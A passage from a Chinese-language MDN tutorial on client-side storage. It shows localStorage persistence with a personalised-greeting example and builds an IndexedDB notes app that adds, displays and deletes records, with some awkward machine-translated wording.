的一个关键特性是,数据在不同页面加载时都存在(甚至是当浏览器关闭后,对localStorage的而言)。让我们来看看这个:</p> + +<ol> + <li> + <p>再次打开我们的 Web Storage 空白模板,但是这次你要在不同的浏览器中打开这个教程!这样可以更容易处理。</p> + </li> + <li> + <p>在浏览器的 JavaScript 控制台中输入这几行:</p> + + <pre class="brush: js notranslate">localStorage.setItem('name','Chris'); +var myName = localStorage.getItem('name'); +myName</pre> + + <p>你应该看到 name 数据项返回。</p> + </li> + <li> + <p>现在关掉浏览器再把它打开。</p> + </li> + <li> + <p>再次输入下面几行:</p> + + <pre class="brush: js notranslate">var myName = localStorage.getItem('name'); +myName</pre> + + <p>你应该看到,尽管浏览器已经关闭,然后再次打开,但仍然可以使用该值。</p> + </li> +</ol> + +<h3 id="为每个域名分离储存">为每个域名分离储存</h3> + +<p>每个域都有一个单独的数据存储区(每个单独的网址都在浏览器中加载). 你 会看到,如果你加载两个网站(例如google.com和amazon.com)并尝试将某个项目存储在一个网站上,该数据项将无法从另一个网站获取。</p> + +<p>这是有道理的 - 你可以想象如果网站能够查看彼此的数据,就会出现安全问题!</p> + +<h3 id="更复杂的例子">更复杂的例子</h3> + +<p><font>让我们通过编写一个简单的工作示例来应用这些新发现的知识,让你了解如何使用网络存储。</font><font>我们的示例将允许你输入一个名称,然后该页面将刷新,以提供个性化问候。</font><font>这种状态也会页面/浏览器重新加载期间保持,因为这个名称存储在Web Storage 中。</font></p> + +<p>你可以在 <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/web-storage/personal-greeting.html">personal-greeting.html</a> 中找到示例文件 —— 这包含一个具有标题,内容和页脚,以及用于输入您的姓名的表单的简单网站。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15735/web-storage-demo.png" style="display: block; margin: 0 auto;"></p> + +<p>让我们来构建示例,以便了解它的工作原理。</p> + +<ol> + <li> + <p>首先,在您的计算机上的新目录中创建一个 <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/web-storage/personal-greeting.html">personal-greeting.html</a> 文件的副本。</p> + </li> + <li> + <p><font><font>接下来,请注意我们的HTML如何引用一个名为</font></font><code>index.js</code><font><font>的 JavaScript 文件</font></font><font><font>(请参见第40行)。</font><font>我们需要创建它并将 JavaScript 代码写入其中。</font></font><font><font>在与HTML文件相同的目录中</font><font>创建一个</font></font><code>index.js</code><font><font>文件。</font></font> </p> + </li> + <li> + <p><font>我们首先创建对所有需要在此示例中操作的HTML功能的引用 - 我们将它们全部创建为常量,因为这些引用在应用程序的生命周期中不需要更改。</font><font>将以下几行添加到你的 JavaScript 文件中:</font></p> + + <pre class="brush: js notranslate">// 创建所需的常量 +const rememberDiv = document.querySelector('.remember'); +const forgetDiv = document.querySelector('.forget'); +const form = document.querySelector('form'); +const nameInput = document.querySelector('#entername'); +const submitBtn = document.querySelector('#submitname'); +const forgetBtn = document.querySelector('#forgetname'); + +const h1 = document.querySelector('h1'); +const personalGreeting = document.querySelector('.personal-greeting');</pre> + </li> + <li> + <p><font>接下来,我们需要包含一个小小的事件监听器,以在按下提交按钮时阻止实际的提交表单动作自身,因为这不是我们想要的行为。</font><font>在您之前的代码下添加此代码段:</font> 在你之前的代码后添加这段代码:</p> + + <pre class="brush: js notranslate">// 当按钮按下时阻止表单提交 +form.addEventListener('submit', function(e) { + e.preventDefault(); +});</pre> + </li> + <li> + <p><font><font>现在我们需要添加一个事件监听器,当单击“Say hello”按钮时,它的处理函数将会运行。</font><font>这些注释详细解释了每一处都做了什么,但实际上我们在这里获取用户输入到文本输入框中的名字并使用</font></font><code>setItem()</code><font><font>将它保存在网络存储中</font></font><font><font>,然后运行一个名为</font></font><code>nameDisplayCheck()</code><font><font>的函数</font></font><font><font>来处理实际的网站文本的更新。将此添加到代码的底部:</font></font> </p> + + <pre class="brush: js notranslate">// run function when the 'Say hello' button is clicked +submitBtn.addEventListener('click', function() { + // store the entered name in web storage + localStorage.setItem('name', nameInput.value); + // run nameDisplayCheck() to sort out displaying the + // personalized greetings and updating the form display + nameDisplayCheck(); +});</pre> + </li> + <li> + <p><font><font>此时,我们还需要一个事件处理程序,以便在单击“</font></font>Forget<font><font>”按钮时运行一个函数——且仅在单击“Say hello”按钮(两种表单状态来回切换)后才显示。在这个功能中,我们</font></font><font><font>使用</font></font><code>removeItem()</code><font><font>从网络存储中</font><font>删除</font><font>项目</font></font><code>name</code><font><font>,然后再次运行</font></font><code>nameDisplayCheck()</code><font><font>以更新显示。</font><font>将其添加到底部:</font></font> </p> + + <pre class="brush: js notranslate">// run function when the 'Forget' button is clicked +forgetBtn.addEventListener('click', function() { + // Remove the stored name from web storage + localStorage.removeItem('name'); + // run nameDisplayCheck() to sort out displaying the + // generic greeting again and updating the form display + nameDisplayCheck(); +});</pre> + </li> + <li> + <p><font><font>现在是时候定义</font></font><code>nameDisplayCheck()</code><font><font>函数本身了。</font><font>在这里,我们通过使用</font></font><code>localStorage.getItem('name')</code><font><font>作为测试条件</font><font>来检查name 数据项是否已经存储在Web Storage 中</font><font>。</font><font>如果它已被存储,则该调用的返回值为</font></font><code>true</code><font><font>; </font><font>如果没有,它会是</font></font><code>false</code><font><font>。</font><font>如果是</font></font><code>true</code><font><font>,我们会显示个性化问候语,显示表格的“</font></font>forget<font><font>”部分,并隐藏表格的“</font></font>Say hello<font><font>”部分。</font><font>如果是</font></font><code>false</code><font><font>,我们会显示一个通用问候语,并做相反的事。</font><font>再次将下面的代码添到底部:</font></font></p> + + <pre class="brush: js notranslate">// define the nameDisplayCheck() function +function nameDisplayCheck() { + // check whether the 'name' data item is stored in web Storage + if(localStorage.getItem('name')) { + // If it is, display personalized greeting + let name = localStorage.getItem('name'); + h1.textContent = 'Welcome, ' + name; + personalGreeting.textContent = 'Welcome to our website, ' + name + '! We hope you have fun while you are here.'; + // hide the 'remember' part of the form and show the 'forget' part + forgetDiv.style.display = 'block'; + rememberDiv.style.display = 'none'; + } else { + // if not, display generic greeting + h1.textContent = 'Welcome to our website '; + personalGreeting.textContent = 'Welcome to our website. We hope you have fun while you are here.'; + // hide the 'forget' part of the form and show the 'remember' part + forgetDiv.style.display = 'none'; + rememberDiv.style.display = 'block'; + } +}</pre> + </li> + <li> + <p><font><font>最后但同样重要的是,我们需要在</font></font><font><font>每次加载页面时</font><font>运行</font></font><code>nameDisplayCheck()</code><font><font>函数。</font><font>如果我们不这样做,那么个性化问候不会在页面重新加载后保持。</font><font>将以下代码添加到代码的底部:</font></font></p> + + <pre class="brush: js notranslate">document.body.onload = nameDisplayCheck;</pre> + </li> +</ol> + +<p><font>你的例子完成了 - 做得好!</font><font>现在剩下的就是保存你的代码并在浏览器中测试你的HTML页面。你可以在这里看到我们的</font><a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/web-storage/personal-greeting.html" rel="noopener"><font><font>完成版本并在线运行</font></font></a><font><font>。</font></font></p> + +<div class="note"> +<p><strong>注意</strong>: 在 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a> 中还有一个稍微复杂点儿的示例。</p> +</div> + +<div class="note"> +<p><strong>注意</strong>: 在完成版本的源代码中, <code><script src="index.js" defer></script></code> 一行里, <code>defer</code> 属性指明<font>在页面加载完成之前,</font>{{htmlelement("script")}}<font>元素的内容</font><font>不会执行。</font></p> +</div> + +<h2 id="存储复杂数据_—_IndexedDB">存储复杂数据 — IndexedDB</h2> + +<p><a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API"><font><font>IndexedDB API</font></font></a><font><font>(有时简称 IDB )是可以在浏览器中访问的一个完整的数据库系统,在这里,你可以存储复杂的关系数据。其种类不限于像字符串和数字这样的简单值。你可以在一个</font></font>IndexedDB中<font><font>存储视频,图像和许多其他的内容。</font></font></p> + +<p><font>但是,这确实是有代价的:使用IndexedDB要比Web Storage API复杂得多。</font><font>在本节中,我们仅仅只能浅尝辄止地一提它的能力,不过我们会给你足够基础知识以帮助你开始。</font></p> + +<h3 id="通过一个笔记存储示例演示">通过一个笔记存储示例演示</h3> + +<p>在这里,我们将向您介绍一个示例,该示例允许您在浏览器中存储笔记并随时查看和删除它们,在我们进行时,我们将解释IDB的最基本部分并让您自己构建注释。</p> + +<p>这个应用看起来像这样:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15744/idb-demo.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<p>每个笔记都有一个标题和一些正文,每个都可以单独编辑。我们将在下面通过的JavaScript代码提供详细的注释,以帮助您了解正在发生的事情。</p> + +<h3 id="开始">开始</h3> + +<p>1、首先,将 <code><a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/indexeddb/notes/index.html">index.html</a></code>, <code><a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/indexeddb/notes/style.css">style.css</a></code>, 和 <code><a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/indexeddb/notes/index-start.js">index-start.js</a></code> 文件的本地副本放入本地计算机上的新目录中。 </p> + +<p>2、浏览这些文件。 您将看到HTML非常简单:具有页眉和页脚的网站,以及包含显示注释的位置的主内容区域,以及用于在数据库中输入新注释的表单。 CSS提供了一些简单的样式,使其更清晰。 JavaScript文件包含五个声明的常量,其中包含对将显示注释的 {{htmlelement("ul")}} 元素的引用,标题和正文 {{htmlelement("input")}} 元素,{{htmlelement("form")}}本身,以及{{htmlelement("button")}}。</p> + +<p>3、将您的JavaScript文件重命名为 <code>index.js</code> 。 您现在可以开始向其添加代码了。</p> + +<h3 id="数据库初始设置">数据库初始设置</h3> + +<p>现在让我们来看看为了建立数据库必须首先要做什么。</p> + +<ol> + <li> + <p>在常量声明下,加入这几行:</p> + + <pre class="brush: js notranslate">// Create an instance of a db object for us to store the open database in +let db;</pre> + + <p>这里我们声明了一个叫 <code>db</code> 的变量 — 这将在之后被用来存储一个代表数据库的对象。我们将在几个地方使用它,所以我们为了方便使用而在这里把它声明为全局的。</p> + </li> + <li> + <p>接着,在你的代码最后添加如下代码:</p> + + <pre class="brush: js notranslate">window.onload = function() { + +};</pre> + + <p>我们将把所有的后续代码写在这个 <code>window.onload</code> 事件处理函数内,这个函数将在window的{{event("load")}}事件被触发时调用,为了确保我们没有在应用完整加载前试图使用IndexedDB功能(如果我们不这么做,它会失败)。</p> + </li> + <li> + <p><font><font>在</font></font><code>window.onload</code><font><font>处理程序内,添加以下内容:</font></font></p> + + <pre class="brush: js notranslate">// Open our database; it is created if it doesn't already exist +// (see onupgradeneeded below) +let request = window.indexedDB.open('notes', 1);</pre> + + <p><font><font>此行创建一个</font></font> <code>request</code> <font><font>变量,目的是打开</font></font> <code>notes</code><font><font>数据库的</font></font> <code>1</code><font><font>版本</font></font><font><font>。</font><font>如果<code>notes</code>数据库不存在,则后续代码将为您创建。</font><font>您将在IndexedDB中经常看到此请求模式。</font><font>数据库操作需要时间。</font><font>您不希望在等待结果时挂起浏览器,因此数据库操作是</font></font><a href="https://developer.mozilla.org/en-US/docs/Glossary/asynchronous" title="异步:异步是指通信环境,其中每个方在方便或可能时而不是立即接收和处理消息。"><font><font>异步的</font></font></a><font><font>,这意味着它们不会立即发生,而是在将来的某个时刻发生,并且在完成后会收到通知。</font></font></p> + + <p><font><font>要在IndexedDB中处理此问题,您需要创建一个请求对象(可以随意命名 - </font></font>命名为<code>request</code>,<font><font>可以表明它的用途)。</font><font>然后,在请求完成或者失败时,使用事件处理程序来运行代码,您将在下面看到这些代码。</font></font></p> + + <div class="note"> + <p><strong><font><font>注意</font></font></strong><font><font>:版本号很重要。</font><font>如果要升级数据库(例如:更改表结构),则必须使用增加的版本号或者</font></font><code>onupgradeneeded</code><font><font>处理程序</font><font>内指定的不同模式</font><font>(请参阅下文)等</font><font>再次运行代码</font><font>。在这个简单教程中,我们不讨论数据库升级。</font></font></p> + </div> + + <ol> + <li> + <p><font><font>在之前添加的事件处理程序下方添加以下代码 - 在</font></font><code>window.onload</code><font><font>处理程序内:</font></font></p> + + <pre class="brush: js notranslate">// onerror handler signifies that the database didn't open successfully +request.onerror = function() { + console.log('Database failed to open'); +}; + +// onsuccess handler signifies that the database opened successfully +request.onsuccess = function() { + console.log('Database opened successfully'); + + // Store the opened database object in the db variable. This is used a lot below + db = request.result; + + // Run the displayData() function to display the notes already in the IDB + displayData(); +};</pre> + + <p><font><font>如果系统返回:请求失败,</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/IDBRequest/onerror" rel="nofollow" title="此页面仍未被本地化, 期待您的翻译!"><code>request.onerror</code></a><font><font>将会运行。</font><font>这将允许你对这个问题做出响应。</font><font>在我们的简单示例中,只是将消息打印到JavaScript控制台。</font></font></p> + + <p>如果系统返回:请求成功,<font><font>表明成功打开数据库</font></font> ,<a href="https://developer.mozilla.org/zh-CN/docs/Web/API/IDBRequest/onsuccess" rel="nofollow" title="此页面仍未被本地化, 期待您的翻译!"><code>request.onsuccess</code></a><font><font>将会运行。如果是这种情况,则表示已打开数据库的对象在</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/IDBRequest/result" rel="nofollow" title="此页面仍未被本地化, 期待您的翻译!"><code>request.result</code></a><font><font>属性中</font><font>变为可用</font><font>,从而允许我们操作数据库。</font><font>我们将它存储在</font></font><code>db</code><font><font>我们之前创建</font><font>的</font><font>变量中供以后使用。</font><font>我们还运行一个名为</font></font><code>displayData()</code>的自定义函数<font><font>,它把数据库中的数据显示在</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/ul" title="The HTML <ul> 元素 ( 或 HTML 无序列表元素) 代表多项的无序列表,即无数值排序项的集合,且它们在列表中的顺序是没有意义的。通常情况下,无序列表项的头部可以是几种形式,如一个点,一个圆形或方形。头部的风格并不是在页面的HTML描述定义, 但在其相关的CSS 可以用 list-style-type 属性。"><code><ul></code></a><font><font>。</font><font>我们现在运行它,以便在页面加载时显示数据库中已有的注释。</font><font>您将在稍后看到此定义。</font></font></p> + </li> + </ol> + </li> + <li> + <p><font><font>最后,对于本节,我们可能会添加最重要的事件处理程序来设置数据库:</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/IDBOpenDBRequest/onupgradeneeded" rel="nofollow" title="此页面仍未被本地化, 期待您的翻译!"><code>request.onupgradeneeded</code></a><font><font>。</font><font>如果尚未设置数据库,或者使用比现有存储数据库更大的版本号打开数据库(执行升级时),则运行此处理程序。</font><font>在上一个处理程序下面添加以下代码:</font></font></p> + + <pre class="brush: js notranslate">// Setup the database tables if this has not already been done +request.onupgradeneeded = function(e) { + // Grab a reference to the opened database + let db = e.target.result; + + // Create an objectStore to store our notes in (basically like a single table) + // including a auto-incrementing key + let objectStore = db.createObjectStore('notes', { keyPath: 'id', autoIncrement:true }); + + // Define what data items the objectStore will contain + objectStore.createIndex('title', 'title', { unique: false }); + objectStore.createIndex('body', 'body', { unique: false }); + + console.log('Database setup complete'); +};</pre> + + <p><font><font>这是我们定义数据库的模式(结构)的地方; </font><font>也就是说,它包含的列(或字段)集。</font><font>这里我们首先从</font></font><code>e.target.result</code><font><font>(事件目标的</font></font><code>result</code><font><font>属性)中</font><font>获取对现有数据库的引用,该引用</font><font>是</font></font><code>request</code><font><font>对象。</font><font>这相当于</font><font>处理程序</font></font><code>db = request.result;</code><font><font>内部</font><font>的行</font></font><code>onsuccess</code><font><font>,但我们需要在此单独执行此操作,因为</font></font><code>onupgradeneeded</code><font><font>处理程序(如果需要)将在</font></font><code>onsuccess</code><font><font>处理程序</font><font>之前运行</font><font>,这意味着</font></font><code>db</code><font><font>如果我们不这样做</font><font>,该</font><font>值将不可用。</font></font></p> + + <p><font><font>然后</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/IDBDatabase/createObjectStore" title="此方法接受一个参数作为 store 的名称,也接受一个可选的参数对象让你可以定义重要的可选属性。你可以用这个属性唯一的标识此 store 中的每个对象。因为参数是一个标识符,所以 store 中的每一个对象都应有此属性并保证此属性唯一。"><code>IDBDatabase.createObjectStore()</code></a><font><font>,</font><font>我们使用</font><font>在打开的数据库中创建一个新的对象库。</font><font>这相当于传统数据库系统中的单个表。</font><font>我们给它起了名称注释,并且还指定了一个</font></font><code>autoIncrement</code><font><font>名为</font><font>的</font><font>关键字段</font></font><code>id</code><font><font>- 在每个新记录中,这将自动赋予增量值 - 开发人员不需要明确地设置它。</font><font>作为密钥,该</font></font><code>id</code><font><font>字段将用于唯一标识记录,例如删除或显示记录时。</font></font></p> + + <p><font><font>我们还使用以下</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/IDBObjectStore/createIndex" rel="nofollow" title="此页面仍未被本地化, 期待您的翻译!"><code>IDBObjectStore.createIndex()</code></a><font><font>方法</font><font>创建另外两个索引(字段)</font><font>:( </font></font><code>title</code><font><font>每个音符将包含一个标题),以及</font></font><code>body</code><font><font>(包含音符的正文)。</font></font></p> + </li> +</ol> + +<p>因此,通过设置这个简单的数据库模式,当我们开始向数据库添加记录时,每个记录都会沿着这些行表示为一个对象:</p> + +<pre class="brush: js notranslate"><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-object"><span class="objectLeftBrace">{ + </span><span class="nodeName">title</span><span class="objectEqual">: </span><span class="objectBox objectBox-string">"Buy milk"</span>, + <span class="nodeName">body</span><span class="objectEqual">: </span><span class="objectBox objectBox-string">"Need both cows milk and soya."</span>, + <span class="nodeName">id</span><span class="objectEqual">: </span><span class="objectBox objectBox-number">8</span></span></span></span></span><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-object"><span class="objectRightBrace"> +}</span></span></span></span></span></pre> + +<h3 id="添加数据到数据库">添加数据到数据库</h3> + +<p><font><font>现在让我们看一下如何将记录添加到数据库中。</font><font>这将使用我们页面上的表单完成。</font></font></p> + +<p><font><font>在您之前的事件处理程序下面(但仍在</font></font><code>window.onload</code><font><font>处理程序中),添加以下行,该行设置一个</font></font><code>onsubmit</code><font><font>处理程序,</font><font>该</font><font>处理程序运行</font></font><code>addData()</code><font><font>在提交表单时</font><font>调用的函数</font><font>(当</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/button" title="HTML <button> 元素表示一个可点击的按钮,可以用在表单或文档其它需要使用简单标准按钮的地方。"><code><button></code></a><font><font>按下</font><font>提交时</font><font>导致成功提交表单):</font></font></p> + +<pre class="brush: js notranslate">// Create an onsubmit handler so that when the form is submitted the addData() function is run +form.onsubmit = addData;</pre> + +<p><font><font>现在让我们定义一下这个</font></font><code>addData()</code><font><font>功能。</font><font>在上一行下面添加:</font></font></p> + +<pre class="brush: js notranslate">// Define the addData() function +function addData(e) { + // prevent default - we don't want the form to submit in the conventional way + e.preventDefault(); + + // grab the values entered into the form fields and store them in an object ready for being inserted into the DB + let newItem = { title: titleInput.value, body: bodyInput.value }; + + // open a read/write db transaction, ready for adding the data + let transaction = db.transaction(['notes'], 'readwrite'); + + // call an object store that's already been added to the database + let objectStore = transaction.objectStore('notes'); + + // Make a request to add our newItem object to the object store + var request = objectStore.add(newItem); + request.onsuccess = function() { + // Clear the form, ready for adding the next entry + titleInput.value = ''; + bodyInput.value = ''; + }; + + // Report on the success of the transaction completing, when everything is done + transaction.oncomplete = function() { + console.log('Transaction completed: database modification finished.'); + + // update the display of data to show the newly added item, by running displayData() again. + displayData(); + }; + + transaction.onerror = function() { + console.log('Transaction not opened due to error'); + }; +}</pre> + +<p><font>这很复杂; </font><font>打破它,我们:</font></p> + +<ul> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Event/preventDefault" title="Event 接口的 preventDefault( ) 方法,告诉user agent:如果此事件没有需要显式处理,那么它默认的动作也不要做(因为默认是要做的)。此事件还是继续传播,除非碰到事件侦听器调用stopPropagation() 或stopImmediatePropagation(),才停止传播。"><code>Event.preventDefault()</code></a><font><font>在事件对象上</font><font>运行</font><font>以停止以传统方式实际提交的表单(这将导致页面刷新并破坏体验)。</font></font></li> + <li><font><font>创建一个表示要输入数据库的记录的对象,并使用表单输入中的值填充它。</font><font>请注意,我们不必明确包含一个</font></font><code>id</code><font><font>值 - 正如我们提前详细说明的那样,这是自动填充的。</font></font></li> + <li><font><font>使用该</font><font>方法</font><font>打开</font><font>对象存储</font><font>的</font></font><code>readwrite</code><font><font>事务</font><font>。</font><font>此事务对象允许我们访问对象存储,以便我们可以对其执行某些操作,例如添加新记录。</font></font><code>notes</code><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/IDBDatabase/transaction" rel="nofollow" title="此页面仍未被本地化, 期待您的翻译!"><code>IDBDatabase.transaction()</code></a></li> + <li><font><font>使用该</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/IDBTransaction/objectStore" rel="nofollow" title="此页面仍未被本地化, 期待您的翻译!"><code>IDBTransaction.objectStore()</code></a><font><font>方法</font><font>访问对象库</font><font>,将结果保存在 </font></font><code>objectStore</code><font><font> 变量中。</font></font></li> + <li><font><font>使用添加新记录到数据库</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/IDBObjectStore/add" rel="nofollow" title="此页面仍未被本地化, 期待您的翻译!"><code>IDBObjectStore.add()</code></a><font><font>。</font><font>这创建了一个请求对象,与我们之前看到的方式相同。</font></font></li> + <li><font><font>在生命周期的关键点</font><font>添加一堆事件处理程序</font></font><code>request</code><font><font>以及</font></font><code>transaction</code><font><font>运行代码。</font><font>请求成功后,我们会清除表单输入,以便输入下一个注释。</font><font>交易完成后,我们</font></font><code>displayData()</code><font><font>再次</font><font>运行该</font><font>功能以更新页面上的注释显示。</font></font></li> +</ul> + +<h3 id="显示数据">显示数据</h3> + +<p><font><font>我们已经</font></font><code>displayData()</code><font><font>在代码中</font><font>引用了</font><font>两次,所以我们可能更好地定义它。</font><font>将其添加到您的代码中,位于上一个函数定义之下:</font></font></p> + +<pre class="brush: js notranslate">// Define the displayData() function +function displayData() { + // Here we empty the contents of the list element each time the display is updated + // If you ddn't do this, you'd get duplicates listed each time a new note is added + while (list.firstChild) { + list.removeChild(list.firstChild); + } + + // Open our object store and then get a cursor - which iterates through all the + // different data items in the store + let objectStore = db.transaction('notes').objectStore('notes'); + objectStore.openCursor().onsuccess = function(e) { + // Get a reference to the cursor + let cursor = e.target.result; + + // If there is still another data item to iterate through, keep running this code + if(cursor) { + // Create a list item, h3, and p to put each data item inside when displaying it + // structure the HTML fragment, and append it inside the list + let listItem = document.createElement('li'); + let h3 = document.createElement('h3'); + let para = document.createElement('p'); + + listItem.appendChild(h3); + listItem.appendChild(para); + list.appendChild(listItem); + + // Put the data from the cursor inside the h3 and para + h3.textContent = cursor.value.title; + para.textContent = cursor.value.body; + + // Store the ID of the data item inside an attribute on the listItem, so we know + // which item it corresponds to. This will be useful later when we want to delete items + listItem.setAttribute('data-note-id', cursor.value.id); + + // Create a button and place it inside each listItem + let deleteBtn = document.createElement('button'); + listItem.appendChild(deleteBtn); + deleteBtn.textContent = 'Delete'; + + // Set an event handler so that when the button is clicked, the deleteItem() + // function is run + <font face="Consolas, Monaco, Andale Mono, Ubuntu Mono, monospace">deleteBtn.onclick = deleteItem;</font> + + // Iterate to the next item in the cursor + cursor.continue(); + } else { + // Again, if list item is empty, display a 'No notes stored' message + if(!list.firstChild) { + let listItem = document.createElement('li'); + listItem.textContent = 'No notes stored.' + list.appendChild(listItem); + } + // if there are no more cursor items to iterate through, say so + console.log('Notes all displayed'); + } + }; +}</pre> + +<p><font><font>再次,让我们打破这个:</font></font></p> + +<ul> + <li><font><font>首先,我们清空</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/ul" title="The HTML <ul> 元素 ( 或 HTML 无序列表元素) 代表多项的无序列表,即无数值排序项的集合,且它们在列表中的顺序是没有意义的。通常情况下,无序列表项的头部可以是几种形式,如一个点,一个圆形或方形。头部的风格并不是在页面的HTML描述定义, 但在其相关的CSS 可以用 list-style-type 属性。"><code><ul></code></a><font><font>元素的内容,然后填充更新的内容。</font><font>如果您不这样做,那么每次更新时都会添加大量重复内容。</font></font></li> + <li><font><font>接下来,我们</font></font><code>notes</code><font><font>使用</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/IDBDatabase/transaction" rel="nofollow" title="此页面仍未被本地化, 期待您的翻译!"><code>IDBDatabase.transaction()</code></a><font><font>和</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/IDBTransaction/objectStore" rel="nofollow" title="此页面仍未被本地化, 期待您的翻译!"><code>IDBTransaction.objectStore()</code></a><font><font>我们一样</font><font>得到</font><font>对象存储</font><font>的引用</font></font><code>addData()</code><font><font>,除了这里我们将它们链接在一行中。</font></font></li> + <li><font><font>下一步是使用</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/IDBObjectStore/openCursor" title="要确定添加操作是否已成功完成,请侦听结果的成功事件。"><code>IDBObjectStore.openCursor()</code></a><font><font>方法打开对游标的请求 - 这是一个可用于迭代对象存储中的记录的构造。</font><font>我们将一个</font></font><code>onsuccess</code><font><font>处理程序链接到该行的末尾以使代码更简洁 - 当成功返回游标时,运行处理程序。</font></font></li> + <li><font><font>我们</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/IDBCursor" title="IndexedDB API的IDBCursor接口表示用于遍历或迭代数据库中的多个记录的游标。"><code>IDBCursor</code></a><font><font>使用let </font><font>获取对游标本身(</font><font>对象)</font><font>的引用</font></font><code>cursor = e.target.result</code><font><font>。</font></font></li> + <li><font><font>接下来,我们检查光标是否包含来自数据存储区(</font></font><code>if(cursor){ ... }</code><font><font>)</font><font>的记录</font><font>- 如果是这样,我们创建一个DOM片段,用记录中的数据填充它,然后将其插入页面(</font></font><code><ul></code><font><font>元素</font><font>内部</font><font>)。</font><font>我们还包括一个删除按钮,当单击该按钮时,将通过运行该</font></font><code>deleteItem()</code><font><font>功能</font><font>删除该注释</font><font>,我们将在下一节中查看。</font></font></li> + <li><font><font>在</font></font><code>if</code><font><font>块</font><font>结束时</font><font>,我们使用该</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/IDBCursor/continue" rel="nofollow" title="此页面仍未被本地化, 期待您的翻译!"><code>IDBCursor.continue()</code></a><font><font>方法将光标前进到数据存储区中的下</font><font>一条</font><font>记录,然后</font></font><code>if</code><font><font>再次</font><font>运行</font><font>块</font><font>的内容</font><font>。</font><font>如果有另一个要迭代的记录,这会导致它被插入到页面中,然后</font></font><code>continue()</code><font><font>再次运行,依此类推。</font></font></li> + <li><font><font>当没有更多记录要迭代时,</font></font><code>cursor</code><font><font>将返回</font></font><code>undefined</code><font><font>,因此</font></font><code>else</code><font><font>块将运行而不是</font></font><code>if</code><font><font>块。</font><font>此块检查是否有任何注释被插入</font></font><code><ul></code><font><font>- 如果没有,它会插入一条消息,说没有存储注释。</font></font></li> +</ul> + +<h3 id="删除一条笔记">删除一条笔记</h3> + +<p><font><font>如上所述,当按下音符的删除按钮时,音符将被删除。</font><font>这是通过</font></font><code>deleteItem()</code><font><font>函数</font><font>实现的</font><font>,如下所示:</font></font></p> + +<pre class="brush: js notranslate">// Define the deleteItem() function +function deleteItem(e) { + // retrieve the name of the task we want to delete. We need + // to convert it to a number before trying it use it with IDB; IDB key + // values are type-sensitive. + let noteId = Number(e.target.parentNode.getAttribute('data-note-id')); + + // open a database transaction and delete the task, finding it using the id we retrieved above + let transaction = db.transaction(['notes'], 'readwrite'); + let objectStore = transaction.objectStore('notes'); + let request = objectStore.delete(noteId); + + // report that the data item has been deleted + transaction.oncomplete = function() { + // delete the parent of the button + // which is the list item, so it is no longer displayed + e.target.parentNode.parentNode.removeChild(e.target.parentNode); + console.log('Note ' + noteId + ' deleted.'); + + // Again, if list item is empty, display a 'No notes stored' message + if(!list.firstChild) { + let listItem = document.createElement('li'); + listItem.textContent = 'No notes stored.'; + list.appendChild(listItem); + } + }; +}</pre> + +<ul> + <li><font><font>第一部分可以使用一些解释 - 我们检索要删除</font></font><code>Number(e.target.parentNode.getAttribute('data-note-id'))</code><font><font>的记录的ID - 回想一下记录的ID是在</font><font>第一次显示时</font><font>保存在</font></font><code>data-note-id</code><font><font>属性中的</font></font><code><li></code><font><font>。</font><font>但是,我们需要通过全局内置的</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number"><font><font>Number()</font></font></a><font><font>对象</font><font>传递属性</font><font>,因为它当前是一个字符串,否则将无法被数据库识别。</font></font></li> + <li><font><font>然后,我们使用我们之前看到的相同模式获取对对象存储的引用,并使用该</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/IDBObjectStore/delete" rel="nofollow" title="此页面仍未被本地化, 期待您的翻译!"><code>IDBObjectStore.delete()</code></a><font><font>方法从数据库中删除记录,并将ID传递给它。</font></font></li> + <li><font><font>当数据库事务完成后,我们</font></font><code><li></code><font><font>从DOM中</font><font>删除注释</font><font>,然后再次检查以查看它是否</font></font><code><ul></code><font><font>为空,并根据需要插入注释。</font></font></li> +</ul> + +<p><font><font>就是这样了!</font><font>你的例子现在应该有效。</font></font></p> + +<p><font><font>如果您遇到问题,请随时</font></font><a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/indexeddb/notes/" rel="noopener"><font><font>查看我们的实例</font></font></a><font><font>(请参阅</font></font><a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/indexeddb/notes/index.js" rel="noopener"><font><font>源代码</font></font></a><font><font>)。</font></font></p> + +<h3 id="通过_IndexedDB_存储复杂数据">通过 IndexedDB 存储复杂数据</h3> + 